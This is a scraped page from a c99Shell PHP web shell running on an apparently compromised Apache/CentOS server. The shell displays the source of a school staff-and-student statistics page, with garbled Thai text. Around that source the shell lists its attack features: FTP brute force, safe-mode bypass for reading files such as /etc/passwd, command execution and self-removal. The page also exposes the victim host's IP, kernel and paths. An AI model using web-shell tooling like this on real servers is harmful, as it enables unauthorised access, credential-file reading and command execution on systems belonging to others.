110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/Monny_depart/personal/ drwxr-xr-x Free 50.66 GB of 127.8 GB (39.64%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php
 session_start();
 if (session_is_registered("valid_user")&&session_is_registered("password"))
 {
 $Username = $valid_user;
 $Password = $password;
include("../../include/FunctionDB.php");
ConnectDB();
$sql = "Select Sum(Teacher_name) From personal_tb ";
$sql2 = "Select * From personal_tb";
$result = mysql_query($sql) or die(" Error").mysql_error();
$result2 = mysql_query($sql2) or die(" Error").mysql_error();
$rs = mysql_fetch_array($result);
$rs2 = mysql_fetch_array($result2);
$total = mysql_num_rows($result2);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Detail</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../../../css/cart4.css" type="text/css">
</head>

<body bgcolor="#F7F5EC">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="89%" border="0" align="center" cellpadding="0" cellspacing="1" class="table" style="border:1px solid gray">
  <form action="file:///C|/Apache2/htdocs/Etech/FrmEditPersonal.php" method="$_POST">
    <tr bgcolor="#F3ECD2" > 
      <td height="24" colspan="4"> 
        <div align="center"><font color="#003366" size="4" face="Tahoma"><strong>бКґ§ГТВЕРаНХВґКСґКиЗ№ЎТГИЦЎЙТ</strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#EEEEEE" style="border:1px solid gray"> <div align="center"><font color="#003366" size="3" face="Tahoma"><strong>ЗШІФ</strong></font></div></td>
      <td bgcolor="#EEEEEE" style="border:1px solid gray"> <div align="center"><font color="#003366" size="3" face="Tahoma"><strong>ЁУ№З№ 
          (</strong></font><font color="#000000" size="2" face="Tahoma"><strong> 
          ¤№ </strong></font><font color="#003366" size="3" face="Tahoma"><strong>) 
          </strong></font></div></td>
      <td bgcolor="#EEEEEE" style="border:1px solid gray"> <div align="center"><font color="#003366" size="3" face="Tahoma"><strong>ГйНВЕР</strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td width="45%" bgcolor="#F3ECD2"> <div align="center"><font color="#000000" size="2" face="Tahoma"><strong>»ГФТµГХ</strong></font></div></td>
      <td width="29%" bgcolor="#FFFFFF"> 
        <div align="center"><font color="#000000" size="2" face="Tahoma"><strong> 
          <a href="DegreeList.php?Degree_code=1"> 
          <?php   
            $sql1 = "SELECT count(Degree_code) as num1 FROM personal_tb WHERE Degree_code=1 ";
             $result = mysql_query($sql1) or die(" Error").mysql_error();
            $rs1 = mysql_fetch_array($result);
          echo "$rs1[num1]";
                ?>
          </a> </strong></font></div></td>
      <td width="26%" bgcolor="#FFFFFF"> 
        <div align="center"><font color="#000000" size="2" face="Tahoma"><strong> 
          <?php   
           $per1 = ($rs1[num1] * 100) /  $total;
         echo number_format($per1,2,'.','.');
            ?>
          </strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td height="22" bgcolor="#F3ECD2"> <div align="center"><font color="#000000" size="2" face="Tahoma"><strong>»ГФТв·</strong></font></div></td>
      <td bgcolor="#FFFFFF"> 
        <div align="center"><font color="#000000" size="2" face="Tahoma"><strong> 
          <a href="DegreeList.php?Degree_code=2"> 
          <?php   
            $sql2 = "Select  Count(Degree_code) as num2 From personal_tb Where Degree_code=2 ";
             $result = mysql_query($sql2) or die(" Error").mysql_error();
           $rs2 = mysql_fetch_array($result);
              echo "$rs2[num2]";
        ?>
          </a> </strong></font></div></td>
      <td bgcolor="#FFFFFF"> 
        <div align="center"><font color="#000000" size="2" face="Tahoma"><strong> 
          <?php   
           $per2 = ($rs2[num2] * 100) /  $total;
           echo number_format($per2,2,'.','.');
        ?>
          </strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#F3ECD2"> <div align="center"><font color="#000000" size="2" face="Tahoma"><strong>»ГФТаНЎ</strong></font></div></td>
      <td bgcolor="#FFFFFF"> 
        <div align="center"><font color="#000000" size="2" face="Tahoma"><strong> 
          <a href="DegreeList.php?Degree_code=3"> 
          <?php   
            $sql3 = "Select  Count(Degree_code) as num3 From personal_tb Where Degree_code=3 ";
             $result = mysql_query($sql3) or die(" Error").mysql_error();
             $rs3 = mysql_fetch_array($result);
              echo "$rs3[num3]";
                   ?>
          </a> </strong></font></div></td>
      <td bgcolor="#FFFFFF"> 
        <div align="center"><font color="#000000" size="2" face="Tahoma"><strong> 
          <?php   
           $per3 = ($rs3[num3] * 100) /  $total;
           echo number_format($per3,2,'.','.');
        ?>
          </strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td height="22" bgcolor="#F3ECD2">&nbsp; </td>
      <td colspan="3" bgcolor="#F3ECD2"> 
        <table width="79%" border="0" align="center">
          <tr bgcolor="#F3ECD2"> 
            <td width="30%" bgcolor="#F3ECD2"> 
              <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>»ГФТµГХ</strong></font></div></td>
            <td width="30%"> 
              <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>»ГФТв·</strong></font></div></td>
            <td width="30%"> 
              <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>»ГФТаНЎ</strong></font></div></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#F3ECD2"> <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>НСµГТКиЗ№</strong></font></div></td>
      <td colspan="3" bgcolor="#FFFFFF"> 
        <div align="center"> <font color="#FF0000" size="2" face="Tahoma"><strong> 
          <?php
                 echo number_format($per1,2,'.','.');
        
      ?>
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font color="#000000" size="4">:</font> 
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <?php
                echo number_format($per2,2,'.','.');
         ?>
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#000000" size="4"> 
          :&nbsp;</font><font color="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font> 
          <?php
                   echo number_format($per3,2,'.','.');
          ?>
          </strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#F3ECD2"> <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>ЁУ№З№НТЁТГВ</strong></font><font color="#003366" size="2" face="Tahoma"><strong>ЗШІФ·Т§ЎТГѕВТєТЕ</strong></font></div></td>
      <td colspan="3" bgcolor="#FFFFFF"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"><strong> 
          <?php 
              $sql = "Select  Count(Type_Degree) as CountNurse From personal_tb Where Type_Degree1='ґйТ№ѕВТєТЕ'";
             $result = mysql_query($sql) or die(" Error").mysql_error();
             $rs = mysql_fetch_array($result);
            echo "$rs[CountNurse] ";
            ?>
          ¤№</strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#F3ECD2"> <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>ЁУ№З№НТЁТГВм·Сй§ЛБґ</strong></font></div></td>
      <td colspan="3" bgcolor="#FFFFFF"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"><strong> 
          <?php 
              $sql = "Select  * From personal_tb ";
             $result = mysql_query($sql) or die(" Error").mysql_error();
             $num = mysql_num_rows($result);
            echo "$num ";
            ?>
          ¤№ </strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#F3ECD2"> <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>ЁУ№З№№СЎИЦЎЙТ</strong></font></div></td>
      <td colspan="3" bgcolor="#FFFFFF"> 
        <div align="center"><font color="#FF0000" size="2"><strong><font color="#003366" face="Tahoma"> 
          <?php 
         // $CountNurse = $rs[CountNurse];
           $sql4 ="Select * From student_tb Where Succ_Status='0' ";
           $res2 = mysql_query($sql4) or die("Error".mysql_error());
            $Total_std = mysql_num_rows($res2);
            echo"$Total_std";            
            ?>
          </font><font color="#003366" size="2" face="Tahoma">¤№</font></strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#F3ECD2"> <div align="center"><font color="#003366" size="2" face="Tahoma"><strong>КСґКиЗ№НТЁТГВм·ХиБХЗШІФѕВТєТЕ 
          µиН ЁУ№З№№СЎИЦЎЙТ</strong></font></div></td>
      <td colspan="3" bgcolor="#FFFFFF"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"><strong> 
          <?php 
           //   $sql = "Select  Count(Type_Degree) as CountNurse From personal_tb Where Type_Degree=1 ";
          //   $result = mysql_query($sql) or die(" Error").mysql_error();
           //  $rs = mysql_fetch_array($result);
        //   $rs[CountNurse] ;
            echo "$rs[CountNurse] ";
            ?>
          : </strong></font><font color="#FF0000" size="2"><strong><font color="#003366" face="Tahoma">
          <?php 
         // $CountNurse = $rs[CountNurse];
           $sql4 ="Select * From student_tb Where Succ_Status='0' ";
           $res2 = mysql_query($sql4) or die("Error".mysql_error());
            $Total_std = mysql_num_rows($res2);
            echo"$Total_std";            
            ?>
          </font></strong></font><font color="#003366" size="2" face="Tahoma"><strong> 
          </strong></font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC"> 
      <td bgcolor="#F3ECD2"> <div align="center"><font size="2" face="Tahoma"><strong><font color="#003366">КСґКиЗ№НТЁТГВм</font><font size="2"><font color="#003366" face="Tahoma">·Сй§ЛБґ</font><font color="#003366" size="2" face="Tahoma">µиНЁУ№З№№СЎИЦЎЙТ</font></font></strong></font></div></td>
      <td colspan="3" bgcolor="#FFFFFF"> 
        <div align="center"><font color="#FF0000" size="2"><strong><font color="#003366" face="Tahoma"> 
          </font><font color="#003366" size="2" face="Tahoma"> 
          <?php 
              $sql = "Select  * From personal_tb ";
             $result = mysql_query($sql) or die(" Error").mysql_error();
             $num = mysql_num_rows($result);
            echo "$num ";
            ?>
          </font></strong></font><font color="#003366" size="2" face="Tahoma"><strong> 
          : </strong></font><font color="#003366" size="2" face="Tahoma"><strong> 
          <?php 
         // $CountNurse = $rs[CountNurse];
           $sql4 ="Select * From student_tb Where Succ_Status='0' ";
           $res2 = mysql_query($sql4) or die("Error".mysql_error());
            $Total_std = mysql_num_rows($res2);
            echo"$Total_std";            
            ?>
          </strong></font></div></td>
    </tr>
    <tr > 
      <td height="20" colspan="4" bgcolor="#F3ECD2">&nbsp; </td>
    </tr>
  </form>
</table>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td><div align="center"><font color="#003366" size="2" face="Tahoma"><a href="../../graph/reportdegree.php?num1=<? echo $rs1[num1]?>&%BD%03m2=<? echo $rs2[num2]?>&%BD%03m3=<? echo $rs3[num3]?>">бКґ§ЎГТїНСµГТКиЗ№ЗШІФЎТГИЦЎЙТ</a></font></div></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>
<?php 
    }
else
{
    echo"<body bgcolor=\"#CCCCCC\">";
     echo"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n";
     echo"<center>";
      echo"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";
      echo"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";
      echo"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> ¤ШідБиБХКФ·ёмгЄй§Т№</font>";
      echo"</center>";
      echo"</body>";
} 
?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: